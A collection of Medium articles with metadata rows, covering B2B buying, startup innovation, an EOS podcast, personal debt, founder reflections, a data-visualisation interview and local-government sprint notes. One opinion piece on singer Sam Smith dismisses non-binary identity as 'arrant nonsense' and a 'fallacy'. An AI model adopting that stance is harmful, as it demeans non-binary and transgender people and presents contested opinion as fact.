Evaluation of Decision Post-Purchase
When the business purchase is executed, the client will have questions like whether it addresses the need, and whether it exceeds the expectations. Ultimately, a business aims to build life-long loyalty from the consumer’s perspective, and create a lasting relationship. If the product was defective or failed to impress, it may damage the brand reputation permanently in the eyes of said client. On the flip side, a stellar product and impeccable delivery can assure you of a repeat customer who will spread the word about your business!
The B2B Decision Making Process
Source: B2B International
Compared to more traditional consumer markets, a Business-to-business (B2B) market differs in two major ways. Firstly, the process of decision making is more complicated, as the purchase decision is arrived at by only one or two persons instead of a team. Secondly, there is a need to address both an individual as well as a company’s requirements during a B2B purchase. This means that as part of the buying journeys, decision makers have to factor in both rationally and emotionally-driven motivations before selection.
In a survey conducted by B2B Marketing and gyro, out of the 113 B2B global marketers that participated, two-thirds mentioned quality of content, level of research and expertise are the top priorities when deciding on the vendor they want. To put it simply, during a standard B2B purchase decision, multiple needs might come into play (as seen in the above figure). The degree of significance given to the interplay of each quadrant is based on the type of culture in the company, type of people and the strategic advantages presented by the product or service in question. | https://abbeyhouston490.medium.com/who-really-makes-the-purchase-in-b2b-buying-know-the-decision-makers-94cf29dc29a6 | ['Abbey Houston'] | 2019-07-02 14:21:10.656000+00:00 | ['Marketing', 'B2b Buying', 'Marketing Strategies', 'B2b Content Marketing'] |
How a CPG startup can spark innovation | Customers today expect new products at rates they’ve never demanded in the past. Attention spans are limited and people are quick to move onto the next thing. This is especially true in the world of consumer products — newness increasingly drives the customer journey. It encourages discovery, trial, and engagement.
Brands today have no choice but to innovate, even if they were founded just a few years ago. But, that’s easier said than done. Most early-stage consumer businesses are new to navigating the online and retail landscape. They are just getting traction on their original product when asked to launch something new. In a rapidly changing CPG landscape, how should a startup think about its innovation strategy?
It is important to remember that speed to market is critical. Smaller brands have the ability to be nimble and creative when it comes to launching and creating new products in a faster way. This is a strength that startups must actively cultivate, and it helps build defensibility against incumbents. So start small and move fast.
Here’s what I suggest to early-stage consumer brands.
Focus on incremental (vs.disruptive) innovation: innovation doesn’t necessarily mean radical change. It can mean new flavors, new ingredients, or even new packaging. Start by changing 1 thing at a time. This makes innovation easier to grasp and to track: if a new product is successful, you want to know exactly why. Incremental innovation is a good way to start, and keep those disruptive ideas in the back of your mind and continue to build towards them. Brainstorm: this is the fun part, so don’t skip it. Not only does innovation build a brand with customers, it can also help build your company culture. Involve your entire team in guided brainstorming for new products. Sometimes, the best ideas come from the most unexpected people/places.(Aside:I like the way The Daily Show manages brainstorming & creativity. Listen to Adam Grant’s podcast here.) Narrow it down: pick the winner and 2 runner-ups, and focus on those products for the next 3 months. Share the winners with the team. Emphasize that all ideas from the brainstorm were considered and some may happen in the future, but for now the team needs to align on the top priorities. Define the product: your company has a mission — each product should too. I like to use this framework(notmine, took it from an MBA class): For[customerX], who need[jobto be done], this product is[keyvalue prop]. Unlike competitors’ products, we provide[keypoint of differentiation] Calendar it: often, the most effective tool is also the simplest. I’ve found an annual high-level innovation calendar(updatedquarterly) is necessary for brands that want to focus on creating and launching new products. The simple step of creating the calendar makes innovation real and encourages teams to focus on the tactics and timing of innovation. Align the innovation calendar with your marketing and sales calendars to get teams in sync. Launch: once you have a calendar, build a launch plan for each new product and hold yourself accountable.
Start weekly tastings/testings: get in the habit of trying new products every week, even if it’s just for 15 minutes.
Test & iterate: find a venue to pilot products and get customer feedback. Events/parties are a great way to test new products as are influencer crews.
Limited release: Incorporate feedback into a limited batch launch, and gather as much data as possible.
Innovation is muscle that must be exercised, and there’s a lot of value in starting to build it as a core competency early on in a CPG startup’s lifecycle. | https://medium.com/@aditi-dash/how-a-cpg-startup-can-spark-innovation-e48077ad4a54 | ['Aditi Dashputre'] | 2020-06-22 16:58:57.992000+00:00 | ['Startup', 'Innovation', 'Consumer', 'Cpg', 'Food And Drink'] |
Everything EOS Podcast #8: MainNet Launch | Everything EOS Podcast #8: MainNet Launch
A recap of the latest news and announcements by Block.One and EOS.IO
Disclaimer: ICO Alert does not endorse or recommend participating in any initial coin offerings, including EOS. ICO Alert does not receive any compensation for the Everything EOS Podcast from Block.One or EOS, however, Robert Finch and Zack Gall do both personally own EOS tokens.
Episode #8:
About EOS
Scalable
*Support thousands of Commercial Scale DApps
*Parallel Execution
*Asynchronous Communication
*Separates Authentication from Execution
*Support thousands of Commercial Scale DApps *Parallel Execution *Asynchronous Communication *Separates Authentication from Execution Flexible
*Freeze and Fix Broken Applications
*Generalized Role-based Permissions
*Web Assembly
*Freeze and Fix Broken Applications *Generalized Role-based Permissions *Web Assembly Usable
*Web Toolkit for Interface Development
*Self Describing Interfaces
*Self Describing Database Schemes
*Declarative Permission Scheme
*Web Toolkit for Interface Development *Self Describing Interfaces *Self Describing Database Schemes *Declarative Permission Scheme Equal Opportunity
*To ensure inclusivity, EOS Tokens have no pre-determined price; rather price is set by market demand. This mimics mining without giving potential unfair advantages to large purchasers.
*To ensure inclusivity, EOS Tokens have no pre-determined price; rather price is set by market demand. This mimics mining without giving potential unfair advantages to large purchasers. Broad Distribution
*The EOS Token distribution takes place over 341 days which is expected to provide ample time for the community to familiarize themselves with the project, as well as participate in the distribution.
*The EOS Token distribution takes place over 341 days which is expected to provide ample time for the community to familiarize themselves with the project, as well as participate in the distribution. Transparency
*An Ethereum smart contract proves receipt of incoming funds for EOS Tokens.
Useful Links and References:
The Everything EOS Podcast showcases discussion about the EOS.IO blockchain. Each week the podcast spotlights a specific topic which may include reviews of new DApps, major announcements, VC Partners, and more leading up to the launch of the EOS mainet in June 2018 and beyond. The podcast is hosted by Zack Gall, a data research analyst at ICO Alert, and Robert Finch, the Founder ofICO Alert. New episodes are released weekly. | https://medium.com/ico-alert/everything-eos-podcast-8-mainnet-launch-63f3c094e2d2 | ['Ico Alert'] | 2018-06-02 22:48:23.026000+00:00 | ['Crypto', 'Podcast', 'Cryptocurrency', 'Blockchain', 'Technology'] |
Life After Debt- What To Do Next | Behavioural Change
“Human behaviour flows from three main sources, desire, emotion and knowledge”. — Plato
My wife and I spent the best part of eighteen months paying off our consumer debt. We arrived in our thirties with the realisation that our past financial decisions meant our future financial goals were unlikely. That is a scary feeling.
So we knuckled down, sold anything we didn’t need, budgeted like crazy and changed both our cars for cheaper ones. We cut back on luxuries, switched utility suppliers and did all the good things you hear people doing in any debt reduction story.
The best part of two years later we had gotten rid of our consumer debt, and the only debt associated with our bank account was our mortgage — which we reduced the term on.
The psychological high of feeling like you’ve conquered your debt and having approached your finances in a responsible manner is tremendous, it’s a real win, but where do you go from there?
Firstly — you need to remember what got you to where you are.
Desire + Emotion + Knowledge = Behaviour
For us, the thing that kept us on track throughout our journey to rid ourselves of debt was exactly as my favourite Athenian said:
We changed our behaviour because we desired a better future, we were emotionally tired, and we had knowledge that how we had been living was unsustainable.
The goal isn’t wealth. Wealth is the byproduct. The goal is behavioural change over the long term.
Without this, any progress you experience will be nothing more than a fleeting glimpse into a life that could have been. That’s easy to say though right? I mean, by the time we’d paid down our last debt we were tired, we just wanted to start living life. The regular highs of paying off debts were replaced by the strange emptiness that accompanies your next big financial hurdle is a long way down the road.
Ultimately, we started to slip.
“Let’s take our foot off the gas a bit, start enjoying life — we’ve earned it”. This is a natural response, it’s the response we had, and it’s the response that got us into trouble.
Life After Debt
When you’re paying off debt, you miss all the things you used to spend money on, you miss all the things that ultimately got you in debt. So when the debt is gone it’s very easy to get excited about all the possible ways you can spend your money.
It’s natural to want to enjoy life, it’s natural to want to not work so hard on the money game, to not feel so broke all the time and have that constant sense of lack in your life. Personally, I’d encourage a period of doing so. Go out for dinner, travel to see family, get some new clothes — just be careful.
We followed Rave Ramsey’s baby steps to get ourselves out of debt, and whilst Dave is known for his no nonsense approach to spending, even he encourages you to enjoy life after paying off your debt. Here’s the rub though…
Have a plan and don’t get lost in your new found exuberance!
I say this not to rain on your parade, I say this because we lost our way a little bit after paying off our debt. Not drastically, but we lost sight of the plan. I started buying regular coffees again, we travelled to see family without budgeting for it, and we would find ourselves eating out for lunch unexpectedly.
One day, I was on my way to work when I got a message from my bank. “Hmmm…unexpected” I thought, as I reckoned the bank balance was pretty healthy. The message read:
“You’ve Direct Debits planned that look like they may take you into your overdraft”
Not only was I taken aback, I was annoyed, embarrassed and most of all disappointed. Somehow we’d taken our foot off the gas and forgotten to pay attention to the pennies. It was time to get back on track and make a plan.
The Importance Of a Plan
It goes without saying you need a plan. We had a plan, we had just forgotten to stick to it somehow. Staying the course is the single biggest factor towards long term wealth creation. Unless you’re out there building businesses, staying on plan is the biggest thing that’s going to help the everyday person get ahead with money.
There are thousands of financial plans our there that tout the best way to build wealth, and it’s important you find one that works for you. Since going off piste we are back on track, and have managed to find that all important balance of enjoying life, and fueling our financial future. Here’s what I think works, but remember — you need to do what is right for you. I’m not an investment or financial advisor and this isn’t professional financial advice, but I genuinely hope it’s helpful!
So how do we strike that balance, and what should you do after you’ve paid off all your debt?
Do Take a Break — A Defined One
I still think taking some time to enjoy your achievements is important. After all, if we can’t enjoy them what’s the point? Do it carefully though, and with a plan. If you want a holiday, save for the holiday, don’t go crazy and make sure everything is budgeted for. Alternatively, If you like simple pleasures maybe just go out for dinner, or get that new coat you had your eye on.
Personally — If I was doing it again I’d probably just give myself free reign to buy coffee and books for two weeks. Whatever works for you is fine, just make sure it’s contained and isn’t going to put you in a position where you’re reintroducing old habits — behaviour change is what we are trying to maintain remember.
Revise The Long Term Plan
Hopefully, when you decided to get out of debt you made a plan. This plan will need revisiting to focus on the new goal — long term wealth.
So what should that plan contain? Well, it needs to be tailored for what you want out of life? If you don’t have children, you probably aren’t concerned with paying towards their education. If you already have a healthy rainy day fund, that may not be your primary concern.
The important thing is that you allocate resources on an automatic basis so that your money is working towards your future, while you live your present. You need to slice off a bit off your pay check before any bills and pay yourself.
Your plan should contain the following:
0. Keep budgeting, I can’t overstress this. Having an eye on the ball isn’t just something you do when you have debt. Knowing where everything is going is crucial to long term success. | https://medium.com/understanding-money/life-after-debt-what-to-do-next-3bd810c4555a | ['Jamie Murray'] | 2020-02-03 21:46:34.490000+00:00 | ['Debt', 'Money', 'Investing', 'Personal Finance', 'Finance'] |
Reflections on 20 years of building | Growing up in Palo Alto, CA, with supportive, entrepreneurial parents, I knew I wanted to build. I remember completing my Computer Science degree, thinking I finally had a skill that would at least keep me employed, and I was privileged enough to know that if I ever truly became destitute, my parents would bridge me. (In reality, they went above and beyond to give me everything I ever needed and wanted, which is a privilege I don’t take lightly.)
I wanted to create organizations that made meaningful impacts, and so far that has happened. More importantly, the people I have worked with have greatly enriched my life, and for that I am thankful.
I wanted to reflect on these experiences for personal growth, and hopefully, some of the learnings are interesting. Thanks in advance for reading, and love any feedback and discussion.
TL;DR
A few learnings from creating companies over the last 20 years:
The biggest hurdles for most entrepreneurs are mental
Get over your fears, and just help somehow
Recognize when you are bringing a knife to a gunfight. It doesn’t need to stop you, but just know the score
10 years later, you remember the people, not the product
The No Sleep test
The world needs worthwhile missions and virtuous organizations — they are more scarce than capital
A leader should accept the spotlight, but not seek it
Positively impacting the lives of people is what you remember from a start-up journey
The co-founder relationship is critical
The Brick Wall Paradox
Priority #1 for a Company Board: Do no harm
You can’t fix market
The people and the journey are what matter
If you are intellectually honest about the potential goals, you can often create a better chance of success.
StrongBox
My building career started as a junior at Stanford, partnering with Tyron Stading to create StrongBox. We were (and are) best friends and crafted a business idea while we had free time during study abroad. He was in Chile and I was in Florence. Senior year, the idea matured enough to enter the BASES business plan competition.
The major takeaways from working on StrongBox were:
The biggest hurdles for most entrepreneurs are mental.
Get over your fears, and just help somehow.
Recognize when you are bringing a knife to a gunfight. It doesn’t need to stop you but just know the score.
10 years later, you remember the people, not the product.
The biggest hurdles for most entrepreneurs are mental.
Ty and I were both Computer Science majors, so initially, we split the development work. Without getting too much into the details, the product was an open-source Internet router with Enterprise security IP.
What became obvious is Ty was a better software developer than I was, especially at the networking layer. This gave me a ton of consternation for not pulling my weight, and I constantly worried that Ty would not only stop working with me but stop being my friend. While the second worry seems a little crazy, at the time, it felt very real.
Eventually, I told Ty that I am going slower than he is and it is probably better if I focus on ‘everything else’ in building the company. As I look back, that was the hardest obstacle for me to overcome in contributing to StrongBox — it had nothing to do with the product or market work.
Get over your fears, and just help somehow.
With the mental hurdle overcome, it turns out there is a lot to help with regarding ‘everything else.’ To paraphrase a Larry Ellison quote: “If you are not selling or building, what are you doing here?”
As I worked on the business plan, go to market model and initial sales, no task was too small. If I could save Ty an hour so he could code more, that was worthwhile. While I didn’t brush his teeth or pick up his dry cleaning (Granted he didn’t have any since he only wore 3–6 different Polo shirts. He hadn’t met Laurie yet.), I recognized a core goal was to give Ty more time.
The outcome was a successful project and an even better friendship.
Recognize when you are bringing a knife to a gunfight. It doesn’t need to stop you but just know the score.
Many times, the start-up journey is encapsulated in a set of days/moments of note. Ty and I experienced one of these moments in StrongBox when we were presenting the company to a group of Venture Capitalists, as part of the BASES E-Challenge business plan competition.
One of the VCs was Sameer Gandhi, who was at Sequoia Capital then (now at Accel). He asked a few ‘drop the mic’ questions. Ty and I both were impressed by his depth of knowledge and cognizant that he brought up business challenges that could be tough for us to overcome.
Well, it turns out he had just invested in NetScreen, a company and product in the same space as StrongBox, but started by a team with 15+ years of industry experience. Ty and I were college Seniors, hence there’s a chance we still had a few things to uncover (insert heavy sarcasm).
Ty and I recognized there were competitors in the market who were better prepared to build a big company, but so what — it didn’t mean we couldn’t have a successful experience. We turned our focus towards finding a market-leading partner to work with. The best fit for us was IBM. While IBM did not acquire us for a billion dollars, it is no surprise IBM hired Ty out of Stanford.
10 years later, you remember the people, not the product.
This is not entirely true, as I still have a love for the FREESCO open source project,
However, the biggest win from StrongBox is Ty and I became even better friends through the experience. The unique experiences that entrepreneurship brings are hard to replicate, and the bonds that can form are extremely fulfilling.
Glow Foundation
My next major building experience was creating the Glow Foundation, an idea that came from my work volunteering at BUILD. Glow was a non-profit that provided financial literacy and aid to first-generation students entering college. We partnered with students starting in the Sophomore year of High School and stayed with them through college graduation.
Over the course of 10 years, Glow served over 300,000 students across California. I feel very fortunate to have had a great co-founder in Anne Diaz, great Executive Directors in Joohee Shin Rand and Peter Kim, and dedicated staff members in Alana Okomoto and many others.
The major learnings from building the Glow Foundation were:
The No Sleep test
The world needs worthwhile missions and virtuous organizations — they are more scarce than capital
A leader should accept the spotlight, but not seek it.
Positively impacting the lives of people is what you remember from a start-up journey.
The No Sleep test
Glow was started because of an acute need. Through BUILD, I mentored a truly special group of high-school students in Edgar, Raniel, and Kimberley and got to know the equally impressive Javita. All were the first in their family to apply to college, all got accepted to four-year institutions, and all were at risk of not matriculating due to financial concerns.
When I saw this issue, it was entirely unacceptable. These students were great investments, and the fact that our education system does not prepare students to understand finance is a travesty.
In addition, the financing process for college is extremely convoluted, and motivated students deserve a river guide.
All of this culminated to a crossroads where I had the idea for Glow, and I simply couldn’t sleep until I manifested it.
During year five of Glow, when I was trying to fundraise at night while working at Bain Capital in Boston, and I had to dedicate hours twelve through fifteen of the day to Glow, my conviction was put to the test.
Validating your commitment-level on the way in is very important, hence the No Sleep test — are you unable to sleep until you give your idea a shot?
The world needs worthwhile missions and virtuous organizations — they are more scarce than capital
When I started Glow, I had zero non-profit experience. At the time I was working at Menlo Ventures, and I appreciated the juxtapose between investing in companies during the day and raising money from people for Glow at night, promising no financing return.
I was pleasantly surprised to find people receptive to funding Glow. Mark Siegel was an initial advocate, and Tom Cole and Shawn Carolan went above and beyond.
All told, we raised over a million dollars for Glow, and as importantly 100s of people each gave 100s of hours to the cause.
Throughout the Glow journey, I saw how people and institutions of means have a shortage of companies to believe in, and if you earn the trust of people, capital will follow.
A leader should accept the spotlight, but not seek it.
This learning happened very much on the job, and for this I give a ton of credit to Anne Diaz for letting me build the plane while flying it.
As Glow started executing, opportunities arose to pitch Glow in front of audiences of potential donors. As the chief fundraiser, this was a critical part of my job. As the snowball of Glow started growing, we built out annual fundraising events that had front-and-center needs. While it is critical to execute on these opportunities, there is a fine line between doing right by the organization and making sure credit and speaking opportunities are distributed.
I probably went right up to the line in terms of being front and center, and at times was too front and center. I feel good about rectifying it in the later years of Glow, but it is a very important learning.
I now try to remember that whenever you are talking about your company or journey, you are taking time away from building and making it better. In addition, if someone is dedicating time and effort to your cause, he/she deserves to be recognized early and often.
Positively impacting the lives of people is what you remember from a start-up journey.
In reflecting on 10 years of Glow, of course, there were many ups and downs. Rather than reflect on every detail, I have found the farther out I am from the experience, the simpler the lens is for assessing success.
I think about the people I interacted with, and whether the experience for them was meaningful and positive. If I ran into them at Starbucks, would they be excited to see me?
I am happy to say Glow was a success by this metric. Most poignantly, I met Raniel when he was 14 years old, sagged his jeans down to his knees, and didn’t think school was worthwhile. He is still the same person, just with a few different perspectives. Here he is now:
Kahuna
2012 was the first time I bet my career on building something, with Kahuna. I finally felt ready to ‘burn the boats’ and go for it, thanks to the support of many people and Josh Stein at Threshold introducing me to my cofounder.
Over the next six years, Kahuna scaled to $10M ARR, then stumbled and ultimately did not succeed. That said, lots of small wins along the way, a ton of great experiences, and hundreds of wonderful people who contributed to and benefited from the product and company.
The major learnings from building Kahuna were:
The co-founder relationship is critical
The Brick Wall Paradox
Priority #1 for a Company Board: Do no harm
The co-founder relationship is critical
I was paired with a truly gifted technical cofounder, and for that I am fortunate. However, from the get-go certain aspects of the relationship were risky. These issues were minimized instead of fully addressed. I believe I cared more about capability vs. perfect culture mesh, and there is no right answer. However, a co-founder breakup is painful and I don’t wish it on anyone.
If you don’t have a completely open relationship with your co-founder, red flag. If you can’t relax and be 100% yourself with your co-founder, red flag. In the end, no matter who’s fault it is that the partnership doesn’t work out, it is detrimental and a strain on both of you, and the company.
The Brick Wall Paradox
Another hard-won lesson with no easy situational answer. Many times in building a company, you are presented with hurdles / ‘brick-walls.’ Examples include closing customers, raising money, key hires, etc.
In these situations, the right answer to achieve results is persistence — keep finding ways to push against the brick wall until it finally gives.
However, sometimes you face existential brick walls, and running through the brick wall is the wrong answer. Instead, the wall could prompt reflection and a 90-degree turn. Or even tougher to decipher, perhaps you should take a few steps back, make major changes, and eventually figure out how to pole vault over it.
I would say back then I was pretty good at running through brick walls, but at one juncture I realized one month too late that Kahuna should take a different path. Since Kahuna, I have worked hard to decipher when pushing ahead on the same path is the wrong answer.
Priority #1 for a Company Board: Do no harm
A board member would do well to remember this since this rule is so often broken. Unfortunately, we failed at this as well. The simplest indicator of this is that at the time of being asked to step down as CEO, we had $30M of cash in the bank. It stands to reason that Kahuna’s enterprise value was at least $30M at that point in time, and board decisions moving forward destroyed value, not to mention potential.
I continued to be a member of the board, and I take 20% responsibility for this. To all Kahuna alumni employees (including myself), I am sorry I couldn’t generate a better financial outcome for y’all.
Alpine.AI
With Alpine, one of my key criteria was to start a company with someone I knew I’d mesh with. After Kahuna, I did a lot of reflection on what went wrong with the co-founder relationship, and how I could be better.
Alex recently left Yahoo and was a customer of mine at Kahuna. He has a ‘high-motor’ and a proactive attitude, and we decided to build a company together. We were intrigued by the new Voice Assistants, Amazon Alexa and Google Assistant, and saw emerging platforms developing.
From our experience in mobile, an early company we admired was Flurry. Flurry created the ubiquitous mobile analytics product and used that #1 position to roll-out monetization products. In addition, Flurry was great at organic acquisition and this is a skill I wanted to flex.
In the end, we created the #1 voice analytics platform, with over 4,000 accounts on a total of $100 paid marketing.
The major takeaways from building Alpine.AI were:
You can’t fix market
The people and the journey are what matter.
If you are intellectually honest about the potential goals, you can often create a better chance of success.
You can’t fix market
This was one of the first lessons I learned in Venture, thanks to a great mentor in Sonja Perkins. You can’t out-execute a bad market.
However, some of the biggest wins in the past twenty years were ideas where the market came to them. Twitter is a top example, where the initial market size for short-form expression was $0, and Twitter created a market and category on the way to becoming a big company.
With Alpine, we were ‘pulling a Flurry’ on the Amazon Alexa and Google Assistant platforms. We hoped that these two platforms would develop similarly to iOS and Android, although we knew this thesis had risk.
Specifically, these markets were 100% controlled by Amazon and Google. Thirteen months in, Amazon decided to not allow a robust and healthy third-party ecosystem to form on top of Alexa, which was unfortunate but the company’s right.
Given the above, it was clear the market sucked. Nothing we could do would change that, hence we needed to find a different path.
The people and the journey are what matter
Now, this is not a cop-out to say success doesn’t matter. When we knew we had to pivot, it led to many sleepless nights and consternation.
However, when you build a company and hire people, you take responsibility for their careers. Hopefully, you provide a platform to learn, grow, and enjoy along the way. I take fulfillment and pride that Alex and I were able to do that with Alpine.
The Alpine.AI core team, with the CTO of Headspace
If you are intellectually honest about the potential goals, you can often create a better chance of success.
This learning builds on the above learnings, where I realized we encountered a brick wall that we shouldn’t try to run through. With 75% of capital raised still in the bank, we decided to sell the company.
Now people who have never done it before or have lived a charmed existence will say ‘companies are bought not sold,’ but that just isn’t true. Granted, if an acquirer doesn’t see value in your company, no amount of selling will help. However, there is a strategy and process you can execute to give your company a 10X better chance of acquisition.
I know this because I didn’t do this well at Kahuna, but feel good about my work on this at Alpine. Eight years in VC taught me 10% of what I know about M&A… but I digress.
We reframed the problem from building a big company to driving toward a successful outcome for investors and employees.
Nine months later, Alpine was acquired by Headspace, fulfilling our goals. | https://medium.com/@marchick/reflections-on-20-years-of-building-5af3e50ceff7 | ['Adam Marchick'] | 2020-12-26 17:23:49.999000+00:00 | ['Entrepreneurship', 'Learning', 'Startup', 'Company Culture'] |
Three Questions With RJ Andrews | I am a fan of pictorial diagrams, but a pictorial diagram is not enough for me. I want some sort of statistical insight as well. You can do that by arranging pictures according to some order.
I did that with the cathedral spread at the end of the Info We Trust book. I was intentional about arranging these. Each one’s an individual map and it’s on polar coordinates — it’s also a polar bar chart.
Source: RJ Andrews, Oriented Cathedrals: ‘Praying Toward the Sun’ reveals a hidden code in Gothic architecture, from Info We Trust.
2. If you were stuck on a desert island, what viz would you want to create and what would you use to make it?
If you’re on a desert island, it’s sort of like a prison, right? So, the natural thing is that you would want to track time. That might keep you from going crazy. Also, how big is this isle? Is this a New Yorker cartoon desert isle? Or, is it a Robert Louis Stevenson desert isle?
I have to eat, so we’re going to assume access to fresh shellfish. I’m making my visualization out of shells. And, I’m not going to be optimistic about my survival. I’m going to clean the beach and make it perfectly smooth. And, the thing that you can do on a desert island better than anywhere else in the world is you can look at the stars. I’m going to take all the shells from the shellfish I’ve been eating and I’m going to bleach them in the sun. Then, I’m going to make the most beautiful visualization of the night sky and reflect it back. That will probably entertain me. And, it’ll keep me out of the sun during the day when it’s hot. It will give me something to do at night. And, I’ll probably do that until I wither away from exhaustion.
3. What is one visualization that has inspired you?
It feels appropriate to pick one from the exhibition. I’ve written about this before, but the Paris Theater Review is my favorite thematic map. I love it. It may be my favorite piece of data visualization of all time. It’s not just perfect, it’s incredibly delightful. When you look at the exhibit write-up, I gave it a second paragraph. There’s nobody who knows how to do what they did here. The color on top is just so vibrant, but you can still see the base map below. It’s an incredible work. | https://medium.com/nightingale/three-questions-with-rj-andrews-6cb4dab43c51 | ['Mary Aviles'] | 2020-09-25 13:25:50.292000+00:00 | ['Datavis', 'Topicsindv', 'Interview', 'Exhibit', 'Dataviz'] |
Sam Smith — Woke or Mental?. Sam Smith is an incredibly talented… | Sam Smith is an incredibly talented artist. The world is very much at their feet as they ascend the world of pop music. Winners of several Brit Awards, they are a real homegrown talent.
Sam is also non-binary. They don’t identify with either of the two available genders. No gender pronouns for Sam, it’s “they” or “them”, or, well, nothing. There is even a noun for this, a “binaire” is a person who does not wish to be identified on the basis of gender.
Spell checking this article has been a nightmare for me.
I want to be completely respectful of Sam and their choices. They are their choices, and certainly none of my business.
Reading over these first few paragraphs, I am overwhelmed with confusion. My writing does not make a damn bit of sense.
Have I used the correct pronoun?
Why is it a plural article not a singular? Is it at all, or have I picked it up wrong?
Have I suffered some sort of neurological impairment?
Truly, I am not quite sure on the answers to any of those questions. I feel strongly that I have neither banged my head nor lost my mind, but I am second-guessing my grip on reality.
My overarching emotion is one of utter bewilderment. It is bonkers, all this non-binary stuff. It’s like the poetry of Coleridge, it just doesn’t make sense.
I strongly, fervently believe in an individuals rights. I am all for freedom of choice and the ability to express identity is sacred.
However, I am concerned that our “woke” generation has unwittingly created a plethora of problems for young people. My concern lies with the fabric of our society and the culture of enablement that makes gender fluidity even an option.
How have we strayed so far away from reality?
Gender is life. That is the easiest way of putting it. One cannot exist without a gender. I would therefore contest, that, to be unhappy with your gender, is sure to be unhappy with life. It strikes right at the heart of existentialism.
If I am a man, and all I have ever known in my own life — how can I possibly identify as anything other than the male gender? In the same way that I do not identify as a bear because I am not 300 kilos of furry muscle, I do not identify as a female, because I do not possess a vagina.
A flippant example, you might think, but is it? The concept is the same; I cannot identify as something that I am not.
Role Models. Sam is famous. Sam has a societal responsibility as a result of that fame. Kids look up to him and aspire toward the success that he has achieved. Sam’s decisions lend gender fluidity a veneer of plausibility because of this.
It’s not like admiring Mark Zuckerberg for dropping out of Harvard, though, it is posing needlessly existential problems to young minds.
Social Media. Kids now are growing up with Twitter, Facebook and the like. While the fallacy of gender fluidity never occurred to me as a child, because I didn’t have a smartphone, it has now become a kind of self-fulfilling fallacy for our kids these days.
Fake news, electoral interference and graphic content are all very real concerns for our social media giants at the moment. I would suggest that a growing audience of underage users is also an issue — after all, in our formative years, are we not all vulnerable to the things that we read?
I am glad that I seldom strayed from the soothing fables of Roald Dahl or JK Rowling as I was growing up.
What of the kids who see this arrant nonsense, and decide they want an irreversible gender transition? What about the irredeemable psychological damage caused by introspection around your very existence?
Sex is all part of the genetic lottery that we are unwilling participants in.
I like the choice. I like deciding what I am going to have for dinner or where I am going on holiday or what book I want to read next. These are things that are within my control and add to the rich tapestry of life.
Sometimes, I wish I was born somewhere sunnier. Australia, maybe, or South-East Spain. I wish there had been more slim men in my family, and that those men had fuller and thicker hair. It would have been great to have had a Great Great Grandfather who made his fortune in Gold, but alas, such luck escapes me.
I am at ease with what I have. My destiny is my own to control, and, most of the time, I am content.
Being content within your own skin is really what matters in life. I worry that our kids growing up today are being presented with choices that are flippant and nonsensical in equal measures. If you are born a man, that is the destiny that the fates have dealt. Learn to love it.
Sam, I wish you nothing but happiness my friend and I respect your choices. | https://medium.com/@philpatterson-93699/sam-smith-woke-or-insane-40fba5f090e | ['Phil Patterson'] | 2020-10-22 13:54:05.676000+00:00 | ['Non Binary', 'Sam Smith', 'Mental Health', 'Gender Fluid', 'Gender'] |
Руководство по созданию кошелька PirateOcean | Pirate Chain (ARRR) is an independent blockchain using the mining algorithm Equihash, dPoW. Pirate Chain (ARRR) is by general admission the most anonymous cryptocurrency with privacy by default. The Tor network is supported.
Follow | https://medium.com/piratechain/%D1%80%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE-%D0%BF%D0%BE-%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D1%8E-%D0%BA%D0%BE%D1%88%D0%B5%D0%BB%D1%8C%D0%BA%D0%B0-pirateocean-fa76c440e192 | ['Komodo Platform Rus'] | 2019-03-18 15:34:40.727000+00:00 | ['International', 'Pirates', 'Wallet', 'Cryptocurrency', 'Arrr'] |
Sprint Notes #32 | Covering 18–31 August 2021
Welcome back to our sprint notes! Read on to find out what the Local Digital team and our funded projects have been up to over the past 2 weeks.
Improve your digital skills with an online training course from FutureLearn
Earlier this year we launched a new online training offer, inviting local authorities to apply for a funded place on a course with the online learning platform, FutureLearn.
We only have a limited number of funded places left, so don’t miss out on this opportunity to brush up on your digital skills or learn something new!
Choose from a list of recommended courses or pick any short course that will benefit you and your organisation. Browse the training library.
A testimonial from one of our course attendees.
Updates from our funded projects
Children’s Social Care Demand
The team is continuing to test the demand modelling tool with users. This sprint, they carried out testing with commissioners in Dudley to get a better understanding of use cases and develop a list of ‘must / should / could’ functionality. They also tested the tool with analyst users.
There is an hypothesis that these two sets of users have slightly different user needs, so the team will need to consider how they manage this.
Digital Inclusion Toolkit
The project has now completed 5 user research interviews and have more booked in. The team is also looking to extend the budget for their user researchers so they can analyse the interview findings.
A playback session on the user research is being planned and the team are looking to procure a Content Designer to update their website based on the findings.
There will also be a team retro on the 9 September facilitated by LDCU’s Delivery Manager, Sarah Deignan.
If you haven’t already completed the project’s Digital Inclusion Survey, the deadline has been extended to 21 September so make sure to get involved!
Future Work Design
This sprint, the team published a new blog post about their use of social media on the project, entitled ‘Social Media & Future Work Design’.
A tweet from the Future Work Design project.
LocalGov Drupal
The team have started work on their ‘shop window’ website, and Will and Kate took time to sit down and talk about LocalGov Drupal with Dave Briggs.
The team has also launched a fortnightly newsletter to make it easy to follow the project. In the latest edition you can:
read about the objectives for the latest sprint
watch a walk-through of the new Content Lifecycle and Workflow feature via YouTube
watch a demo on how to get content out of LocalGov Drupal and into a decoupled site with a different theme
Quality Data for Children in Care
The team entered their second week of ceremonies and drop-ins with the analysts who are helping to deliver error coding in Python for the various errors seen in 903 returns data. The team are making great progress, with a further 25 errors passing the review stage.
The team have also made some front-end improvements to the tool to display placement distance and postcode, and completed the videos supporting analysts to deliver advanced error code.
The Quality Data for Children in Care project dashboard, showing progress in the first week.
There has been an average of 20 views across all of the training videos and 6 out of 17 analysts have ‘engaged’, defined by going through all the training videos, joining GitHub or contributing an error. The community has already contributed 30 errors for the tool.
In order to support those analysts who are progressing, the team has prioritised completing training videos for the more complex errors so that analysts can move forward.
A tweet from Data to Insight, the Quality Data for Children in Care project’s supplier.
RIPA and BOPS
We have just launched a series of three showcase events in September, where councils can find out more about the BOPS and RIPA tools and how to get involved in the projects with support from MHCLG.
The BOPS team has created a new open source ‘draw site boundary tool’. The basic tool was originally developed by Open Systems Lab, the delivery partner for RIPA. They packaged this up and shared the code on Github so that the BOPS team (and delivery partner Unboxed) could develop a new piece of BOPS functionality to simplify the communications between planning officers and applicants.
Now, applicants and planners can propose a redrawn site boundary, rather than a planning application being returned as invalid and requiring a completely new submission. This development work marks a recent high-point in cross-product collaboration.
